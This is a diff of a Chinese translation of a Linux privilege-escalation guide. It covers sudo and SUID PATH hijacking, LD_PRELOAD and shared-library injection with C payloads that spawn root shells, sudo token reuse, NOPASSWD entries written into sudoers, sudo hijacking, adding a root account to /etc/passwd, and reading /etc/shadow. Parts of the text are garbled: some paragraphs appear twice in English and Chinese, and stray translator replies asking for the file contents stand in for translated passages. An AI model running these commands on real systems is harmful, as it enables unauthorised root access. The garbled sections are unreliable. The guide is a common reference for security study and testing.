-如果使用 **wildcard** (\*),就更容易: +如果使用 **wildcard** (\*),就更简单了: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**对策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**缓解措施**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary 未指定命令路径 +### Sudo 命令/SUID 二进制文件 未指定命令路径 -如果将 **sudo permission** 授权给单个命令且**未指定路径**:_hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它 +如果将 **sudo 权限** 授予单个命令 **未指定路径**:_hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -该技术也可以用于如果一个 **suid** 二进制 **在未指定其路径的情况下执行另一个命令(始终使用** _**strings**_ **检查可疑 SUID 二进制的内容))。** +该技术也可用于当一个 **suid** 二进制 **在执行另一个命令时没有指定其路径(务必使用** _**strings**_ **检查可疑 SUID 二进制的内容)**。 [Payload examples to execute.](payloads-to-execute.md) -### SUID 二进制与命令路径 +### SUID 二进制带命令路径 -如果 **suid** 二进制 **以指定路径执行另一个命令**,那么你可以尝试 **导出一个函数**,其名称与 suid 文件所调用的命令相同。 +如果 **suid** 二进制 **执行另一个命令并指定了路径**,那么你可以尝试**导出一个函数**,其名称与 suid 文件调用的命令相同。 -例如,如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并将其导出: +例如,如果一个 **suid** 二进制调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后,当你调用 suid binary 时,该函数将被执行 +然后,当你调用该 suid 二进制文件时,该函数将被执行 ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +**LD_PRELOAD** 环境变量用于指定一个或多个共享库(.so 文件),这些库会被加载器在其他库之前加载,包括标准 C 库(`libc.so`)。这个过程称为预加载库。 -但是,为了维护系统安全并防止此特性被滥用,特别是在 **suid/sgid** 可执行文件的情况下,系统会强制执行若干限制: +但是,为了维护系统安全并防止该功能被滥用,特别是在 **suid/sgid** 可执行文件中,系统会强制执行某些条件: - 当可执行文件的真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配时,加载器会忽略 **LD_PRELOAD**。 -- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且同时具有 suid/sgid 的库会被预加载。 +- 对于具有 suid/sgid 的可执行文件,只有位于标准路径且同样具有 suid/sgid 的库会被预加载。 -如果你能够使用 `sudo` 执行命令,且 `sudo -l` 的输出包含 **env_keep+=LD_PRELOAD**,则可能发生提权。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时得以保留并被识别,可能导致以提升的权限执行任意代码。 +如果你能够使用 `sudo` 执行命令,且 `sudo -l` 的输出包含语句 **env_keep+=LD_PRELOAD**,则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别,可能导致以提升的权限执行任意代码。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -860,17 +861,17 @@ setuid(0); system("/bin/bash"); } ``` -然后使用以下命令**编译它**: +然后 **编译它** 使用: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最后,**escalate privileges** 正在运行 +最后,**escalate privileges** 运行 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 如果攻击者控制了 **LD_LIBRARY_PATH** 环境变量,就可以滥用类似的 privesc,因为他控制了库被搜索的路径。 +> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable,就可以滥用类似的 privesc,因为他控制了库将被搜索的路径。 ```c #include #include @@ -892,13 +893,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -当遇到具有 **SUID** 权限且看起来不寻常的 binary 时,最好验证它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: +当遇到具有 **SUID** 权限且显得异常的二进制文件时,最好检查它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 的错误,说明存在可以被 exploit 的潜在可能。 +例如,遇到像 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 这样的错误,可能表明存在 exploitation 的可能性。 -要对其进行 exploit,可以创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,并写入以下代码: +要 exploit 这一问题,可以通过创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_, 包含以下代码: ```c #include #include @@ -909,9 +910,9 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -这段代码在编译并执行后,旨在通过修改文件权限并执行一个提升权限的 shell 来提升权限。 +这段代码在被编译并执行后,旨在通过修改文件权限并执行具有提升权限的 shell 来提升权限。 -将上述 C 文件编译为共享对象 ( .so ) 文件,使用: +将上述 C 文件编译为共享对象 (.so) 文件,命令如下: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` @@ -927,7 +928,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -既然我们发现了一个会从我们可写目录加载库的 SUID 二进制文件,接下来在该目录中创建具有必要名称的库: +既然我们已经找到一个会从我们可以写入的文件夹加载库的 SUID binary,现在就在该文件夹中创建具有必要名称的库: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -944,13 +945,13 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -这意味着你生成的库需要有一个名为 `a_function_name` 的函数。 +这意味着你生成的库需要包含一个名为 `a_function_name` 的函数。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个整理好的 Unix binaries 列表,记录了可以被攻击者利用以绕过本地安全限制的二进制程序。[**GTFOArgs**](https://gtfoargs.github.io/) 与之类似,但用于只能在命令中**注入参数**的场景。 +[**GTFOBins**](https://gtfobins.github.io) 是一个精心整理的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则针对只能在命令中**注入参数**的场景。 -该项目收集了 Unix 二进制的合法功能,这些功能可以被滥用以逃离受限 shell、提升或维持提升的权限、传输文件、spawn bind and reverse shells,并便利其他 post-exploitation 任务。 +该项目收集了 Unix 二进制文件的合法功能,这些功能可能被滥用以突破受限 shells、提升或维持更高权限、传输文件、生成 bind and reverse shells,并辅助其他 post-exploitation 任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -969,55 +970,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -如果你可以访问 `sudo -l`,你可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能找到利用任何 sudo 规则的方法。 +如果你可以运行 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能找到利用任何 sudo 规则的方法。 -### Reusing Sudo Tokens +### 重用 Sudo 令牌 -在你有 **sudo access** 但不知道密码的情况下,你可以通过**等待 sudo 命令执行然后劫持会话令牌**来提升权限。 +在你拥有 **sudo access** 但不知道密码的情况下,你可以通过 **等待某次 sudo 命令执行,然后劫持会话 token** 来提升权限。 提升权限的前提条件: -- 你已经以用户 "_sampleuser_" 拥有一个 shell -- "_sampleuser_" 在**最近 15 分钟**内使用过 `sudo` 来执行某些操作(默认情况下这是 sudo 令牌允许我们在不输入密码的情况下使用 `sudo` 的时长) -- `cat /proc/sys/kernel/yama/ptrace_scope` 的输出为 0 -- `gdb` 可用(你能够上传它) +- 你已经以用户 _sampleuser_ 的身份获得了一个 shell +- _sampleuser_ 在 **最近 15mins** 内已经 **使用 `sudo`** 执行过某些命令(默认情况下 sudo token 的时效为 15 分钟,允许我们在此期间使用 `sudo` 而不输入密码) +- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0 +- `gdb` 可用(你可以上传它) -(你可以临时启用 `ptrace_scope`:`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0`) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -如果满足上述所有条件,**你可以使用:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) 来提升权限 +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- 第一个 **exploit**(`exploit.sh`)会在 _/tmp_ 中创建名为 `activate_sudo_token` 的二进制文件。你可以使用它来**在你的会话中激活 sudo 令牌**(你不会自动得到一个 root shell,执行 `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **第二个 exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**由 root 拥有且带有 setuid** +- 第二个 **exploit** (`exploit_v2.sh`) 会在 _/tmp_ 创建一个 **由 root 拥有并带有 setuid** 的 sh shell ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **第三个 exploit** (`exploit_v3.sh`) 会 **创建一个 sudoers file**,使 **sudo tokens 永久有效并允许所有用户使用 sudo**。 +- 第三个 **exploit** (`exploit_v3.sh`) 会 **创建 sudoers file**,使 **sudo tokens 永久有效并允许所有用户使用 sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果你对该文件夹或该文件夹内任意已创建的文件具有 **写权限**,你可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为某个用户和 PID 创建 sudo 令牌**。\ -例如,如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且你以该用户身份拥有 PID 为 1234 的 shell,你可以**获得 sudo 权限**而无需知道密码,执行: +如果你在该目录或其中任何已创建文件上拥有**写权限**,可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来**为某个用户和 PID 创建 sudo 令牌**。\ +例如,如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且以该用户身份拥有 PID 为 1234 的 shell,你可以在不需要密码的情况下通过以下方式**获得 sudo 权限**: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 内的文件配置了谁可以使用 `sudo` 以及如何使用。 这些文件 **默认只能被用户 root 和组 root 读取**。\ -**如果** 你可以 **读取** 这个文件,你可能能够 **获取一些有趣的信息**,而如果你可以 **写入** 任意文件,你将能够 **提升权限**。 +文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 目录下的文件用于配置谁可以使用 `sudo` 以及如何使用。 这些文件**默认只能由用户 root 和组 root 读取**.\\ +**如果**你能**读取**该文件,可能能够**获取一些有价值的信息**;而如果你能**写入**任意文件,则可以**提升权限**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你能写入,你就可以滥用这个权限 +如果你有写权限,就能滥用该权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1031,17 +1032,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -有一些 `sudo` 二进制替代品,例如用于 OpenBSD 的 `doas`,记得检查其配置文件位于 `/etc/doas.conf`。 +有一些可以替代 `sudo` 二进制的工具,例如 OpenBSD 的 `doas`,请记得检查其配置文件 `/etc/doas.conf`。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -如果你知道某个**用户通常连接到一台机器并使用 `sudo`** 来提升权限,且你已经在该用户上下文获得了一个 shell,你可以**创建一个新的 sudo 可执行文件**,该文件会以 root 身份先执行你的代码然后再执行用户的命令。然后,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新的路径),这样当用户执行 sudo 时,就会先执行你创建的 sudo 可执行文件。 +如果你知道某个**user通常连接到一台机器并使用 `sudo`** 来提升权限,并且你已经在该user上下文中获得了一个shell,你可以**创建一个新的sudo可执行文件**,该文件会以root身份先执行你的代码,然后再执行该user的命令。然后,**修改 $PATH** 在该user上下文中(例如在 .bash_profile 中添加新的路径),这样当该user执行 sudo 时,就会运行你的 sudo 可执行文件。 -注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件来添加新的路径。例如 [ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 会修改 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。 +注意,如果该user使用不同的shell(不是 bash),你需要修改其他文件来添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个例子。 -或者运行类似下面的命令: +或者运行类似的命令: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -通过将 lib 复制到 `/var/tmp/flag15/`,程序将按 `RPATH` 变量中指定的位置使用它。 +将 lib 复制到 `/var/tmp/flag15/` 后,程序会在该位置按 `RPATH` 变量的指定使用它。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1091,7 +1093,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -然后在 `/var/tmp` 中用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` 创建一个恶意库。 +然后在 `/var/tmp` 中使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` 创建一个恶意库。 ```c #include #define SHELL "/bin/sh" @@ -1104,10 +1106,10 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## 特权能力 +## 能力 -Linux capabilities 向进程提供可用 root 特权的一个子集。**这会将 root 的特权拆分为更小且独立的单元**。每个单元都可以独立地授予给进程。通过这种方式,授予的完整特权集被减少,从而降低被利用的风险。\ -阅读下列页面以**了解更多关于 capabilities 以及如何滥用它们**: +Linux capabilities 提供进程**可用 root 特权的子集**。这会将 root 的**特权拆分为更小且独立的单元**。这些单元可以被单独授予进程。这样可以减少完整的特权集,从而降低被利用的风险。\ +阅读以下页面以**了解更多关于 capabilities 以及如何滥用它们**: {{#ref}} @@ -1116,14 +1118,14 @@ linux-capabilities.md ## 目录权限 -在目录中,**标记为 "execute" 的位** 表示受影响的用户可以 **"cd"** 进入该文件夹。\ -**"read"** 位表示用户可以 **列出** **files**,而 **"write"** 位表示用户可以 **删除** 和 **创建** 新 **files**。 +在目录中,**“execute” 位**表示受影响的用户可以“cd”进入该文件夹。\ +**“read” 位**表示用户可以**列出**这些**文件**,而**“write” 位**表示用户可以**删除**并**创建**新的**文件**。 ## ACLs -Access Control Lists (ACLs) 表示可裁量权限的第二层,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝对特定非所有者或非组成员用户的权限来增强对文件或目录访问的控制。此级别的**细粒度确保更精确的访问管理**。更多详情见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 +Access Control Lists (ACLs) 表示自主权限的第二层,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝对特定(非所有者或非所属组)用户的权限来增强对文件或目录访问的控制。此级别的**粒度确保更精确的访问管理**。更多细节请见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 -**给** 用户 "kali" 赋予对文件的 read 和 write 权限: +**授予** 用户 "kali" 对文件的读写权限: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1136,8 +1138,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## 打开 shell 会话 -在 **旧版本** 中,你可能可以 **hijack** 不同用户(**root**)的某些 **shell** 会话。\ -在 **最新版本** 中,你将只能 **连接** 到属于 **你自己的用户** 的 screen sessions。不过,你可能会在会话中发现 **有趣的信息**。 +在 **旧版本** 中,你可能可以 **hijack** 其他用户的某些 **shell** 会话(**root**)。\ +在 **最新版本** 中,你将只能 **connect** 到仅属于 **你自己的用户** 的 screen sessions。然而,你可能会在会话内部发现 **有趣的信息**。 ### screen sessions hijacking @@ -1156,7 +1158,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -这是**旧的 tmux 版本**的问题。我无法以非特权用户身份劫持由 root 创建的 tmux (v2.1) 会话。 +这是一个与 **旧的 tmux 版本** 有关的问题。我无法以非特权用户身份 hijack 由 root 创建的 tmux (v2.1) 会话。 **列出 tmux 会话** ```bash @@ -1176,73 +1178,90 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -查看 **Valentine box from HTB** 作为示例。 +Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月到2008年5月13日期间,在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受此漏洞影响。 -该漏洞发生在这些操作系统生成新的 ssh 密钥时,原因是 **只有 32,768 种变体**。这意味着所有可能性都可以被穷举,并且 **拥有 ssh 公钥即可搜索对应的私钥**。 -你可以在此找到预计算的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +在 2006 年 9 月至 2008 年 5 月 13 日之间,在基于 Debian 的系统(Ubuntu, Kubuntu, 等)上生成的所有 SSL 和 SSH 密钥可能受此漏洞影响。\ +该漏洞在这些操作系统创建新的 ssh 密钥时出现,原因是 **只有 32,768 种变体可用**。这意味着可以计算出所有可能的组合,并且 **有了 ssh 公钥就可以搜索对应的私钥**。已计算出的可能性可在此处找到: https://github.com/g0tmi1k/debian-ssh -### SSH 有趣的配置项 +### SSH 有趣的配置值 -- **PasswordAuthentication:** 指定是否允许密码认证。默认值为 `no`。 -- **PubkeyAuthentication:** 指定是否允许公钥认证。默认值为 `yes`。 -- **PermitEmptyPasswords:** 当允许密码认证时,指定服务器是否允许使用空密码字符串的账户登录。默认值为 `no`。 +- **PasswordAuthentication:** 指定是否允许密码认证。默认是 `no`。 +- **PubkeyAuthentication:** 指定是否允许公钥认证。默认是 `yes`。 +- **PermitEmptyPasswords**: 当允许密码认证时,指定服务器是否允许使用空密码字符串的账户登录。默认是 `no`。 ### PermitRootLogin -指定 root 是否可以使用 ssh 登录,默认值为 `no`。可选值: +指定是否允许 root 使用 ssh 登录,默认是 `no`。可能的取值: -- `yes`:root 可以使用密码和私钥登录 -- `without-password` 或 `prohibit-password`:root 只能使用私钥登录 -- `forced-commands-only`:root 仅能使用私钥登录,且必须指定 commands 选项 -- `no`:不允许 +- `yes`: root 可以使用密码和私钥登录 +- `without-password` or `prohibit-password`: root 只能使用私钥登录 +- `forced-commands-only`: root 仅能使用私钥登录,且必须指定 commands 选项 +- `no` : 不允许 ### AuthorizedKeysFile -指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的 token(将被替换为用户主目录)。**可以指定绝对路径**(以 `/` 开头)或**相对于用户主目录的相对路径**。例如: +指定包含可用于用户认证的公钥的文件。它可以包含类似 `%h` 的标记,该标记会被替换为主目录。**你可以指定绝对路径**(以 `/` 开头)或**相对于用户主目录的相对路径**。例如: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -该配置表示如果你尝试使用用户“**testusername**”的**private** key 登录,ssh 会将你的 public key 与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的条目进行比较。 +该配置将表明,如果你尝试使用用户 "**testusername**" 的 **private** key 登录,ssh 会将你的 key 的公钥与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的公钥进行比较。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys**(不要在服务器上留置没有 passphrases 的 keys!)。因此,你可以通过 ssh **jump** 到一个 **host**,然后从那里使用位于你 **initial host** 的 **key** **jump** 到另一个 **host**。 +SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys** (without passphrases!),不必把 keys 放在服务器上。因此,你可以通过 ssh **jump** **to a host**,然后从那里 **jump to another** **host**,**using** 放在你 **initial host** 上的 **key**。 -你需要在 `$HOME/.ssh.config` 中像下面这样设置该选项: +你需要在 `$HOME/.ssh.config` 中设置此选项,像这样: ``` Host example.com ForwardAgent yes ``` -注意:如果 `Host` 是 `*`,每次用户跳到不同的机器时,该主机都将能够访问密钥(这是一个安全问题)。 +Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝该配置。\ -文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent forwarding(默认允许)。 +注意,如果 `Host` 是 `*`,每次用户跳到不同的机器时,该主机都能访问密钥(这会带来安全问题)。 -如果你发现环境中配置了 Forward Agent,请阅读下列页面,因为 **你可能能够滥用它来提升权限**: +The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ +The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). + +文件 `/etc/ssh_config` 可以**覆盖**这些**选项**并允许或拒绝此配置。\ +文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许**或**拒绝** ssh-agent forwarding(默认允许)。 + +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## 相关文件 +如果你发现在某个环境中配置了 Forward Agent,请阅读以下页面,因为**你可能能够滥用它来提升权限**: -### 配置文件 -文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是**在用户启动新 shell 时执行的脚本**。因此,如果你能够**写入或修改其中的任何一个文件,你就可以提升权限**。 +{{#ref}} +ssh-forward-agent-exploitation.md +{{#endref}} + +## Interesting Files + +### Profiles files + +The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. + +## Interesting Files + +### Profiles files + +文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是**在用户启动新 shell 时执行的脚本**。因此,如果你能够**写入或修改其中任何一个,你就可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -如果发现任何可疑的配置文件脚本,应检查其中是否有**敏感信息**。 +如果发现任何可疑的 profile script,你应该检查其中是否包含 **敏感信息**。 -### Passwd/Shadow 文件 +### Passwd/Shadow Files -根据操作系统,`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称或存在备份。因此建议**查找所有这些文件**并**检查是否可读取**,以查看文件中**是否包含哈希**: +根据操作系统,`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名字,或者可能存在备份。因此建议 **找到所有这些文件** 并 **检查是否可以读取**,以查看文件中是否包含 **哈希**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1255,48 +1274,50 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/ ``` ### 可写的 /etc/passwd -首先,使用下面的其中一个命令生成一个密码。 +首先,使用以下命令之一生成一个 password。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -我没有收到 src/linux-hardening/privilege-escalation/README.md 的内容。请把该文件的文本粘贴过来,我会把其中的英文翻译成中文并保留所有 markdown/HTML 标签、路径和代码不被翻译。 +我需要你先把 src/linux-hardening/privilege-escalation/README.md 的内容贴过来,我才能进行翻译并保留原有的 Markdown/标签格式。 -另外,请确认以下两点: -- 你希望我在翻译的文档里以怎样的形式“添加用户 `hacker` 并添加生成的密码”?(例如:添加一段命令示例(useradd / passwd 命令)还是在文档中插入一行说明和密码) -- 我可以为你生成一个安全密码并把它写入翻译文档,但我不能在你的系统上实际创建用户或设置密码——我只能提供要运行的命令或文档说明。是否现在就生成密码?如果是,请确认密码复杂度(长度,是否包含符号等)。 +关于“然后添加用户 `hacker` 并添加生成的密码”这一点,请确认: +- 是否希望我在翻译后的文件中追加创建用户的命令示例(例如 useradd / adduser)? +- 需要生成的密码长度和字符规则(例如 12 位,包含大小写字母、数字和符号)? + +把文件内容和你的偏好告诉我后我就开始翻译并添加用户/密码。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -现在你可以使用 `su` 命令,以 `hacker:hacker` 登录 +现在你可以使用 `su` 命令并使用 `hacker:hacker` -或者,你可以使用以下几行来添加一个无密码的虚拟用户。\ +或者,你可以使用以下几行添加一个无密码的虚拟用户。\\ 警告:这可能会降低机器当前的安全性。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意:在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 +注意:在 BSD 平台上,`/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`,同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 -你应该检查是否可以 **写入某些敏感文件**。例如,你能否写入某个 **服务配置文件**? +你应该检查是否可以 **写入一些敏感文件**。例如,你是否能写入某些 **服务配置文件**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例如,如果机器正在运行 **tomcat** 服务器并且你可以 **修改 /etc/systemd/ 中的 Tomcat 服务配置文件,** 那么你可以修改以下几行: +例如,如果机器正在运行 **tomcat** 服务器,且你可以 **修改位于 /etc/systemd/ 的 Tomcat 服务配置文件,** 那么你可以修改以下几行: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -你的 backdoor 会在下次启动 tomcat 时被执行。 +你的 backdoor 将在下一次 tomcat 启动时被执行。 ### 检查文件夹 -以下文件夹可能包含备份或有用的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (你可能无法读取最后一个,但可以尝试) +The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (可能你无法读取最后一个,但可以尝试) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1317,7 +1338,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -我没有收到 src/linux-hardening/privilege-escalation/README.md 的内容。请粘贴该文件的内容(保留原有的 Markdown/HTML 标签、路径和代码块),我会把英文翻译为中文。 +### 最近几分钟修改的文件 ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1351,18 +1372,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### 已知包含密码的文件 -阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **可能包含密码的若干文件**。\ -**另一个有趣的工具** 是: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) 这是一个开源应用,用于检索存储在本地计算机上的大量密码,适用于 Windows、Linux & Mac。 +查看 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它会搜索 **可能包含密码的若干文件**。\ 